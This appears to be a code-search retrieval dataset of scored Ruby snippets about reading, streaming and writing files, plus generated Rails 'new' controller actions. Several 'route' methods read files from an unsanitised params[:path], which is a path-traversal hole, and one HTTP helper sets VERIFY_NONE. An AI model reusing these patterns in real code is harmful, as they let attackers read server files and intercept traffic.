format(\"%o\", File.stat(local_path).mode)[2, 4]\n stream_cmd = [\n sudo(config[:busser_bin]),\n \"deserialize\",\n \"--destination=#{remote_path}\",\n \"--md5sum=#{md5}\",\n \"--perms=#{perms}\"\n ].join(\" \")\n\n [\n %{echo \"Uploading #{remote_path} (mode=#{perms})\"},\n %{cat \"#{transfer_path}\" | #{stream_cmd}}\n ].join(\"\\n\").concat(\"\\n\")\n end", "title": "" }, { "docid": "fc841d0bb78c01227c40428282f97a20", "score": "0.56421643", "text": "def read_file(path)\n Chef::Log.debug(\"Reading file #{path} from #{username}@#{host}\")\n result = StringIO.new\n download(path, result)\n result.string\n end", "title": "" }, { "docid": "fd6037610a124a3df042ef8859da9c4c", "score": "0.5637115", "text": "def file_in(path)\n File.open(path, 'r') do |f| f.read end\n end", "title": "" }, { "docid": "e3af0cbcdd6a4fb561082358eb3968c9", "score": "0.56336945", "text": "def read path, *args\n open(path) {|f| f.read(*args) }\n end", "title": "" }, { "docid": "8754a61dc59992ec8cd7500be28f4ff5", "score": "0.5631152", "text": "def get_stream(path, ostream = STDOUT)\n #require 'yajl'\n chunk = ''\n\n uri = URI(@base_url + path)\n req = Net::HTTP::Get.new(uri)\n req['Access_Token'] = ENV['access_token']\n options = {use_ssl: true, uri.scheme => 'https', verify_mode: OpenSSL::SSL::VERIFY_NONE} if @use_https == true\n Net::HTTP.start(uri.host, uri.port, options) do |http|\n http.read_timeout = 600\n \n http.request(req) { |resp|\n # STDERR.puts('header')\n resp.header.each_header {|key,value| STDERR.puts \"#{key} = #{value}\" }\n resp.read_body do |chunk|\n ostream.write(chunk)\n end\n }\n exit\n end\nrescue StandardError => e\n p e.to_s\n p chunk.to_s\n p e.backtrace.to_s\nend", "title": "" }, { "docid": "fb37a046510755d9377bd6b4ef5263da", "score": "0.5625539", "text": "def route5\n path = File.realdirpath params[:path]\n @content = File.read path\n end", "title": "" }, { "docid": "fb37a046510755d9377bd6b4ef5263da", "score": "0.5625539", "text": "def route5\n path = File.realdirpath params[:path]\n @content = File.read path\n end", "title": "" }, { "docid": "8d8a6cffe11269e180a368279eb03b60", "score": "0.56245995", "text": "def read\n @path.read if exist?\n end", "title": "" }, { "docid": "942a249008bc4b668b2fe5ab15baeabe", "score": "0.56239533", "text": "def open_input(path)\n case path.extname\n when \".gz\"\n Zlib::GzipReader.open(path.to_s)\n else\n path.open(\"rb\")\n end\n end", "title": "" }, { "docid": "f7354406c5590a475b652ce10eabcf17", "score": "0.5620414", "text": "def stream\n @retrieve.call\n end", "title": "" }, { "docid": "1fc9e445873a3c32979be2c3e99b0c5e", "score": "0.5608496", "text": "def import(name, stream)\n open(name, \"w\") do |file|\n if stream.respond_to?(:read)\n FileUtils.copy_stream(stream, file)\n else\n file.write stream\n end\n end\n end", "title": "" }, { "docid": "5c4a76a6630b241917db5f29390363ff", "score": "0.56027895", "text": "def read(path)\n destpath = build_destpath(path)\n @client.download(destpath)\n rescue => err\n show_error(err)\n raise ReadError, \"cannot read file: #{err}\"\n end", "title": "" }, { "docid": "8bb0deba763455222390188e83c2060f", "score": "0.5599794", "text": "def encrypt_stream(path)\n s3path = File.basename(path)\n File.open(path, 'rb') do |file|\n @encrypt_client.put_object(bucket: @bucket, key: s3path, body: file)\n end\n end", "title": "" }, { "docid": "50ed80976fe240b4eabf6425027e44a8", "score": "0.55918854", "text": "def read_file(alloc_id, path: '/')\n connection.get do |req|\n req.url \"client/fs/cat/#{alloc_id}\"\n req.params[:path] = path\n end\n end", "title": "" }, { "docid": "983d717519b336c3bedd6535b82d5f9a", "score": "0.55888855", "text": "def put( data )\n @pathname.mkpath unless @pathname.exist?\n SpoolPool::File.write( @pathname, serialize( data ) )\n end", "title": "" }, { "docid": "c504909a7dea2018aef054b925a5786e", "score": "0.557971", "text": "def route8\n path = File.basename params[:path]\n @content = File.read path\n end", "title": "" }, { "docid": "c504909a7dea2018aef054b925a5786e", "score": "0.557971", "text": "def route8\n path = File.basename params[:path]\n @content = File.read path\n end", "title": "" }, { "docid": "638f6da8edf9fef6732bff9c38149d04", "score": "0.554233", "text": "def read_file(path); end", "title": "" }, { "docid": "638f6da8edf9fef6732bff9c38149d04", "score": "0.554233", "text": "def read_file(path); end", "title": "" }, { "docid": "45185a45c38dfe43f2b931b520e31239", "score": "0.55365705", "text": "def writelines(path, data)\n path.is_a?(File) ? path.puts(data) : File.open(path, \"wb\") { |file| file.puts(data) }\nend", "title": "" }, { "docid": "fa2f58122f334200e2c9c92a092e12d9", "score": "0.5536535", "text": "def route1\n path = File.absolute_path params[:path]\n @content = File.read path\n end", "title": "" }, { "docid": "fa2f58122f334200e2c9c92a092e12d9", "score": "0.5536535", "text": "def route1\n path = File.absolute_path params[:path]\n @content = File.read path\n end", "title": "" }, { "docid": "cd8e1e2a4b501688ac81355ad907c5a5", "score": "0.55348325", "text": "def contents\n path.read\n end", "title": "" }, { "docid": "e4d82458b731845f401e86262d55ed3c", "score": "0.5529701", "text": "def retrieve(path)\n file = directory.files.get(path)\n body = file.body\n extname = File.extname(path)\n basename = File.basename(path, extname)\n file = Tempfile.new([basename, extname])\n file.binmode\n file.write(body)\n file.rewind\n file\n end", "title": "" }, { "docid": "008d9747b7aa51141ea968ff9fb5ec07", "score": "0.55171305", "text": "def sendfile(value = nil)\n if value.is_a?(String)\n file_body = Grape::ServeStream::FileBody.new(value)\n @stream = Grape::ServeStream::StreamResponse.new(file_body)\n elsif !value.is_a?(NilClass)\n raise ArgumentError, 'Argument must be a file path'\n else\n stream\n end\n end", "title": "" }, { "docid": "607fa018f7bd09312da37d3d99f1c4ee", "score": "0.55041385", "text": "def stream; end", "title": "" }, { "docid": "607fa018f7bd09312da37d3d99f1c4ee", "score": "0.55041385", "text": "def stream; end", "title": "" }, { "docid": "607fa018f7bd09312da37d3d99f1c4ee", "score": "0.55041385", "text": "def stream; end", "title": "" }, { "docid": "607fa018f7bd09312da37d3d99f1c4ee", "score": "0.55041385", "text": "def stream; end", "title": "" }, { "docid": "607fa018f7bd09312da37d3d99f1c4ee", "score": "0.55041385", "text": "def stream; end", "title": "" }, { "docid": "607fa018f7bd09312da37d3d99f1c4ee", "score": "0.55041385", "text": "def stream; end", "title": "" }, { "docid": "607fa018f7bd09312da37d3d99f1c4ee", "score": "0.55041385", "text": "def stream; end", "title": "" }, { "docid": "e531e56dd4a699c3b7ff0fcf2709703f", "score": "0.5502482", "text": "def read(stream = nil)\n if stream.nil?\n lines = read_file(@m3u8_file.pathname)\n else\n lines = read_io_stream(stream)\n end\n\n process(lines, @m3u8_file)\n end", "title": "" }, { "docid": "debd5bf3db858d3ce19806811bc21032", "score": "0.54947937", "text": "def download(path)\n end", "title": "" }, { "docid": "815c401985fa333a710770f654cc1e7d", "score": "0.54940987", "text": "def put_path(path, data)\n (parent, base) = Http::UrlUtil::split_path(path)\n parent_node = @server.tree.node_for_path(parent)\n\n parent_node.create_file(base, data)\n end", "title": "" }, { "docid": "27d27b05e2dc5d6bf8d3a6bc1a53a40f", "score": "0.54841787", "text": "def get( name, stream=false )\n file = self[name] \n unless file\n file = get!( name, stream )\n end\n file.rewind if file # just in case of previous streaming\n file \n end", "title": "" }, { "docid": "6bc351a0cdf115f20a05ad4bcecdfc22", "score": "0.5482919", "text": "def write_file_chunk(path, start, data)\n request({req: 'writefilechunk', start: start, data: data})\n end", "title": "" }, { "docid": "66866f33a3dfeae340b4c934917802b4", "score": "0.5475343", "text": "def data\n File.open(computed_path) { |fp| fp.read }\n end", "title": "" }, { "docid": "cbc86754d732134c37c92297adf7893b", "score": "0.54700845", "text": "def read(ftp_path, &block)\n content = api_get(ftp_path)\n io = StringIO.new(content)\n begin\n yield(io)\n ensure\n io.close\n end\n end", "title": "" }, { "docid": "4a79cdf9cebe0f0f21d77e9cf8b7b71a", "score": "0.5468863", "text": "def retrieve(path)\n path = \"#{Rails.root}/public/system/#{path}\"\n File.open(path)\n end", "title": "" }, { "docid": "5a02b1fbbca966a9d4cdf93287f0a0ed", "score": "0.54668504", "text": "def stream\n synchronize { open! if @stream.nil?; @stream }\n end", "title": "" }, { "docid": "d2e0620681cba427611408f1c183f202", "score": "0.54530555", "text": "def streams; end", "title": "" }, { "docid": "fb778c8ae74cb7b2493357de2b260410", "score": "0.5452248", "text": "def file(path, opts = {})\n contents = Ratistics::Load.file_contents(path)\n return data(contents, opts)\n end", "title": "" }, { "docid": "5d4e7142b42c0a76402ecd0ae8c9fbfd", "score": "0.54451436", "text": "def read(path)\n if hrx?\n @archive.read(path)\n elsif (dir, basename = split_if_nested(path))\n dir.read(basename)\n else\n File.read(File.join(@path, path), binmode: true, encoding: \"ASCII-8BIT\")\n end\n end", "title": "" }, { "docid": "0606bc6ee4ebbb048c582c20967e6542", "score": "0.5439339", "text": "def route2\n path = \"#{File.dirname(params[:path])}/foo\"\n @content = File.read path\n end", "title": "" } ]
6f8c3250f6504b4aa5a3b35ba1d8027f
GET /eedesals/new GET /eedesals/new.xml
[ { "docid": "0b952e2c83807f662734fbdb21263a1b", "score": "0.77057385", "text": "def new\n @eedesal = Eedesal.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @eedesal }\n end\n end", "title": "" } ]
[ { "docid": "baf6079ce8d80790117ed69dd2d6de88", "score": "0.7619701", "text": "def new\n @eep = Eep.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @eep }\n end\n end", "title": "" }, { "docid": "329737ada5f32580f7415375d61043a8", "score": "0.75746775", "text": "def new\n @edesal = Edesal.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @edesal }\n end\n end", "title": "" }, { "docid": "90b6a1e96fa04dc24658823afc331521", "score": "0.7366563", "text": "def new\n @tee = Tee.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tee }\n end\n end", "title": "" }, { "docid": "dd438f93f734b054d088dffbc32ba19e", "score": "0.7350691", "text": "def new\n @era = Era.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @era }\n end\n end", "title": "" }, { "docid": "41e014bf8b17af5ebe05969f37ae1762", "score": "0.7310768", "text": "def new\n @entree = Entree.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @entree }\n end\n end", "title": "" }, { "docid": "41433d74e36719684775ad2d50c3eabe", "score": "0.7300298", "text": "def new\n @new = New.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @new }\n end\n end", "title": "" }, { "docid": "6290211819de3f0f66090bc7b0faa32f", "score": "0.72331107", "text": "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @asesoria }\n end\n end", "title": "" }, { "docid": "8bdf68f3c1667a26a816999bf651513f", "score": "0.7228426", "text": "def new\n @elinea = Elinea.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @elinea }\n end\n end", "title": "" }, { "docid": "09659b5e0a0b570d5c8019b81ae00efa", "score": "0.72069705", "text": "def new\n @lien = Lien.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lien }\n end\n end", "title": "" }, { "docid": "1cefa35920cd85e09aac31f607f82fde", "score": "0.71971714", "text": "def new\n @stes_e = StesE.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @stes_e }\n end\n end", "title": "" }, { "docid": "c3f80df804a0ab6419781a3dc45e0608", "score": "0.7196043", "text": "def new\n @falta = Falta.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @falta }\n end\n end", "title": "" }, { "docid": "d8c9869452137d7b8c5091069906a4ce", "score": "0.7183597", "text": "def new\n @mentee = Mentee.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @mentee }\n end\n end", "title": "" }, { "docid": "2ebebea6740cc061a1f955e86667c2f9", "score": "0.71644205", "text": "def new\n @revista = Revista.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @revista }\n end\n end", "title": "" }, { "docid": "f26f3b9c144b2c34a472dfd0ff5f440d", "score": "0.7152508", "text": "def new\n @ufalta = Ufalta.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ufalta }\n end\n end", "title": "" }, { "docid": "4c1ebbaf071800019ec1edffa1d50b33", "score": "0.71518844", "text": "def new\n @aluno = Aluno.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @aluno }\n end\n end", "title": "" }, { "docid": "611927c565a7feb12e7f45820cfc4b0a", "score": "0.7126755", "text": "def new\n @solicitation = Solicitation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @solicitation }\n end\n end", "title": "" }, { "docid": "23e3825d3ea974a17dce29040bd3e6bf", "score": "0.7112922", "text": "def new\n @episodio = Episodio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @episodio }\n end\n end", "title": "" }, { "docid": "8d81031028951cfc6117d7b3173abf41", "score": "0.71015286", "text": "def new\n @ordem = Ordem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ordem }\n end\n end", "title": "" }, { "docid": "484265bba9ed9fa11994880208f48559", "score": "0.7095022", "text": "def new\n @esfera = Esfera.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @esfera }\n end\n end", "title": "" }, { "docid": "63103473671d5520305a00d82b1b309f", "score": "0.7094848", "text": "def new\n @escola = Escola.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @escola }\n end\n end", "title": "" }, { "docid": "3c6fea231b17235aa5d5be1212d6a8cc", "score": "0.70915884", "text": "def new\n @rel = Rel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @rel }\n end\n end", "title": "" }, { "docid": "94ceaaf9250cdc3d062aeb18bbab1a52", "score": "0.70857656", "text": "def new\n @newstuff = Newstuff.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @newstuff }\n end\n end", "title": "" }, { "docid": "d9e1688b036106af71ab2f6735602e82", "score": "0.7077177", "text": "def new\n @payee = Payee.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @payee }\n end\n end", "title": "" }, { "docid": "702300833c0c8e427ecbdd091a945b5e", "score": "0.7067467", "text": "def new\n @fee = Fee.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @fee }\n end\n end", "title": "" }, { "docid": "2c4b1cf75a65e9bfaf455b502eb80f69", "score": "0.70669657", "text": "def new \n @ail = Ail.new\n \n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ail }\n end\n end", "title": "" }, { "docid": "90799d25b21ba896a35139bbb432f83d", "score": "0.70656675", "text": "def new\n @lanparty = Lanparty.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lanparty }\n end\n end", "title": "" }, { "docid": "8f86d306c1b3aeade9bd09f9b6ce9061", "score": "0.7064483", "text": "def new\n @ead = Ead.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ead }\n end\n end", "title": "" }, { "docid": "d16a58a77d84669e3cd4e78236c66d2a", "score": "0.70473", "text": "def new\n @etiquetum = Etiquetum.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @etiquetum }\n end\n end", "title": "" }, { "docid": "e59ec9e9f87c111b31115ba1e9e2e7a2", "score": "0.7047106", "text": "def new\n @nada = Nada.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @nada }\n end\n end", "title": "" }, { "docid": "8ffd837e3cfc8131952ec866935d91aa", "score": "0.7044469", "text": "def new\n @solicitante = Solicitante.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @solicitante }\n end\n end", "title": "" }, { "docid": "9ba9dcb8a5b0baf4056cf17cd0329f29", "score": "0.7041796", "text": "def new\n @pelajar = Pelajar.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pelajar }\n end\n end", "title": "" }, { "docid": "807fdb312a5efde3bccda04504faf72c", "score": "0.7032292", "text": "def new\n @enquete = Enquete.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @enquete }\n end\n end", "title": "" }, { "docid": "552933f91ff480059e0b8835fe4e554e", "score": "0.70277995", "text": "def new\n @satelite = Satelite.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @satelite }\n end\n end", "title": "" }, { "docid": "2b382c3a0164cecfe036ef37bacf9667", "score": "0.70272326", "text": "def new\n @etiquetaing = Etiquetaing.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @etiquetaing }\n end\n end", "title": "" }, { "docid": "1b042fea2be29380bc48411229855d46", "score": "0.7020839", "text": "def new\n @anexo = Anexo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @anexo }\n end\n end", "title": "" }, { "docid": "1cb4beae4b85af05dfbb33e756b46b0c", "score": "0.7019014", "text": "def new\n @poet = Poet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @poet }\n end\n end", "title": "" }, { "docid": "79c766a084106c29dbfa85b40cdc77c5", "score": "0.70185655", "text": "def new\n @pessoa = Pessoa.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pessoa }\n end\n end", "title": "" }, { "docid": "0e134e010acc6f62395305fc3199ac1a", "score": "0.7015877", "text": "def new\n @econtrato = Econtrato.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @econtrato }\n end\n end", "title": "" }, { "docid": "7e25866ff992069ca9575b4b8f50bcfe", "score": "0.7007511", "text": "def new\n @meal = Meal.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @meal }\n end\n end", "title": "" }, { "docid": "7e25866ff992069ca9575b4b8f50bcfe", "score": "0.7007511", "text": "def new\n @meal = Meal.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @meal }\n end\n end", "title": "" }, { "docid": "4f146899fe4ee59defb42090378476e5", "score": "0.7005939", "text": "def new\n @ledger = Ledger.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ledger }\n end\n end", "title": "" }, { "docid": "db57367ca4f2a6d1db2e38b029e1ecf7", "score": "0.7005311", "text": "def new\n @specificaton = Specificaton.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @specificaton }\n end\n end", "title": "" }, { "docid": "dc8ad0097ccdb54bb39fa8494629ff16", "score": "0.70017767", "text": "def new\n @rt = Rt.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @rt }\n end\n end", "title": "" }, { "docid": "01193c45bedf34d781e3976475f80e6d", "score": "0.6999714", "text": "def new\n @estagiario = Estagiario.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @estagiario }\n end\n end", "title": "" }, { "docid": "9fcf24fae1779d31fa3548d039bb380b", "score": "0.69975317", "text": "def new\n @party = Party.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @party }\n end\n end", "title": "" }, { "docid": "9fcf24fae1779d31fa3548d039bb380b", "score": "0.69975317", "text": "def new\n @party = Party.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @party }\n end\n end", "title": "" }, { "docid": "c398295cde2752a838d41d91ea0f3863", "score": "0.69964546", "text": "def new\n @especialista = Especialista.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @especialista }\n end\n end", "title": "" }, { "docid": "be612a16464b24c6ab556c65ff3801ae", "score": "0.69958496", "text": "def new\n @ailment = Ailment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ailment }\n end\n end", "title": "" }, { "docid": "746b78ae05debbd3eb45c59eecb2b3bd", "score": "0.6995339", "text": "def new\n @vente = Vente.new\n @action = 'new'\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @vente }\n end\n end", "title": "" }, { "docid": "fa04e21035f2d9ebd7e5f037fa247cbd", "score": "0.69952005", "text": "def new\n @testis = Teste.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @testis }\n end\n end", "title": "" }, { "docid": "144fdc61f3f1eb6a3efa50bcf93f1daf", "score": "0.6985859", "text": "def new\n @ausencia = Ausencia.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ausencia }\n end\n end", "title": "" }, { "docid": "9c8aeb4d00790022ccca5c880aaba02f", "score": "0.69811654", "text": "def new\n @allegato = Allegato.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @allegato }\n end\n end", "title": "" }, { "docid": "5faddf05c376a3081810308a9be738e2", "score": "0.6978658", "text": "def new\n @aetapa = Aetapa.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @aetapa }\n end\n end", "title": "" }, { "docid": "39f4f4ded2a80e86209897cf84ca59c1", "score": "0.6978415", "text": "def new\n @objeto = Objeto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @objeto }\n end\n end", "title": "" }, { "docid": "6fc8a8d5283685e360754df34f06dc3e", "score": "0.6977413", "text": "def new\n @equivalencia = Equivalencia.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @equivalencia }\n end\n end", "title": "" }, { "docid": "cd5b80abaa0af95086236d2daf9bfea7", "score": "0.69697094", "text": "def new\n @entrega = Entrega.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @entrega }\n end\n end", "title": "" }, { "docid": "7f8841aea052d6504b09e74b73dadae0", "score": "0.6968531", "text": "def new\n @ece = Ece.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ece }\n end\n end", "title": "" }, { "docid": "afa429c920e975a4eb1ec6f76c54ee7c", "score": "0.696571", "text": "def new\n @want = Want.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @want }\n end\n end", "title": "" }, { "docid": "ebdc0481c1f65b38eea8164cf6fd790d", "score": "0.6965629", "text": "def new\n @alcalde = Alcalde.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @alcalde }\n end\n end", "title": "" }, { "docid": "d59ce1e090320efae1d714debd28409b", "score": "0.6960182", "text": "def new\n @etablissement = Etablissement.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @etablissement }\n end\n end", "title": "" }, { "docid": "122b49eb10b1ef8c355db29d9ed34589", "score": "0.6959311", "text": "def new\n @assunto = Assunto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @assunto }\n end\n end", "title": "" }, { "docid": "122b49eb10b1ef8c355db29d9ed34589", "score": "0.6959311", "text": "def new\n @assunto = Assunto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @assunto }\n end\n end", "title": "" }, { "docid": "719ccfcec6fb64743c105d95c8386b4a", "score": "0.6955678", "text": "def new\n @trail = Trail.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @trail }\n end\n end", "title": "" }, { "docid": "ee0589c67abd56d0504bb4d7bb6a00df", "score": "0.6952994", "text": "def new\n @pessoa = Pessoa.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pessoa }\n end\n end", "title": "" }, { "docid": "3f2f9e69c6575120af1a9b5fc9defc6c", "score": "0.6952348", "text": "def new\n @eleitor = Eleitor.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @eleitor }\n end\n end", "title": "" }, { "docid": "729bbdbdb97bd17c37fc90ba908efdac", "score": "0.69515795", "text": "def new\n @allergen = Allergen.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @allergen }\n end\n end", "title": "" }, { "docid": "008eb68e26a958b0f6521dcd45dfba2d", "score": "0.69512093", "text": "def new\n @trainee = Trainee.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @trainee }\n end\n end", "title": "" }, { "docid": "9715e1384ca020bdd592af2720f3dadf", "score": "0.69509417", "text": "def new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @fixed_therapy }\n end\n end", "title": "" }, { "docid": "d26e23888025b5584d028bf3cb10dd09", "score": "0.6950605", "text": "def new\n @regel = Regel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @regel }\n end\n end", "title": "" }, { "docid": "0c9cd1c18424889757fd4bbf03506191", "score": "0.6946352", "text": "def new\n @legajo = Legajo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @legajo }\n end\n end", "title": "" }, { "docid": "8ba87327ca69d7e9bec3867063964098", "score": "0.69463253", "text": "def new\n @law = Law.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @law }\n end\n end", "title": "" }, { "docid": "da37d7005ea80f128baaab110c8a7f48", "score": "0.6945093", "text": "def new\n @soon = Soon.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @soon }\n end\n end", "title": "" }, { "docid": "387c702af009ceeb4bed82cfcd623e85", "score": "0.6944481", "text": "def new\n @factlineaedesal = Factlineaedesal.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @factlineaedesal }\n end\n end", "title": "" }, { "docid": "be70df9b5b9396641b343c3cd5e752bb", "score": "0.6941663", "text": "def new\n @edizione = Edizione.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @edizione }\n end\n end", "title": "" }, { "docid": "6181e4904cdbd41cca0aa9e1a2f233ce", "score": "0.6940943", "text": "def new\n @estagiarios = Estagiario.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @estagiarios }\n end\n end", "title": "" }, { "docid": "a121c5a9bf593d04ae642680c093ac24", "score": "0.69367796", "text": "def new\n @election = Election.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @election }\n end\n end", "title": "" }, { "docid": "09f42de18aad231adb67c30cbcbb0161", "score": "0.6935898", "text": "def new\n @algo = Algo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @algo }\n end\n end", "title": "" }, { "docid": "956b13378ae89b2d2ba9e5871550da93", "score": "0.69356424", "text": "def new\n @assay = Assay.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @assay }\n end\n end", "title": "" }, { "docid": "dc09df5ef7d49a3f79f12d53de7f902d", "score": "0.69349235", "text": "def new #DESC: Crear nuevos talento.\n @talento = Talento.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @talento }\n end\n end", "title": "" }, { "docid": "a80808cc495f9c6051423c1e5bdd2a29", "score": "0.693095", "text": "def new\n @oferta = Oferta.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @oferta }\n end\n end", "title": "" }, { "docid": "bd724313a7a4b4aa5839f34d93ff94aa", "score": "0.6930444", "text": "def new\n @patant = Patant.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @patant }\n end\n end", "title": "" }, { "docid": "a0381c42e91e2a7b329e5aa6d5fb73e2", "score": "0.69296515", "text": "def new\n @what_new = WhatNew.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @what_new }\n end\n end", "title": "" }, { "docid": "ae3a3f04e5554c6926235d27f2c1c80c", "score": "0.69279736", "text": "def new\n @add = Add.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @add }\n end\n end", "title": "" }, { "docid": "ca5b6939e21d78a85c39bdda8af90b50", "score": "0.69265383", "text": "def new\n @usesupply = Usesupply.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @usesupply }\n end\n end", "title": "" }, { "docid": "fd82c0be67ab72bcc93704a7885fda38", "score": "0.69223624", "text": "def new\n @testing = Testing.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @testing }\n end\n end", "title": "" }, { "docid": "9abcda02a207ce80857f9ddd68245da8", "score": "0.6922002", "text": "def new\n @estadio = Estadio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @estadio }\n end\n end", "title": "" }, { "docid": "cb03d0216f464675629e0c39a71284d9", "score": "0.691993", "text": "def new\n @anketa = Anketa.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @anketa }\n end\n end", "title": "" }, { "docid": "aedc114c0a3fa13d6601850ff2ac98ef", "score": "0.6917614", "text": "def new\n @exemplo = Exemplo.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @exemplo }\n end\n end", "title": "" }, { "docid": "a3147e096b98c39298ffa78eaf7cc46f", "score": "0.69168365", "text": "def new\n @tah = Tah.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tah }\n end\n end", "title": "" }, { "docid": "e5d9d6e37941da3134c3388df157fc55", "score": "0.6913958", "text": "def new\n @evenement = Evenement.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @evenement }\n end\n end", "title": "" }, { "docid": "e5d9d6e37941da3134c3388df157fc55", "score": "0.6913958", "text": "def new\n @evenement = Evenement.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @evenement }\n end\n end", "title": "" }, { "docid": "71c464c59064bb0b16d46b5d642ebb09", "score": "0.69124186", "text": "def new\n @activation = Activation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @activation }\n end\n end", "title": "" }, { "docid": "bc3968147541effafc698e4a51b537c9", "score": "0.6912333", "text": "def new\n @stuff = Stuff.new\n @days_to_njcee = get_days_to_njcee()\n\n respond_to do |format|\n format.html # 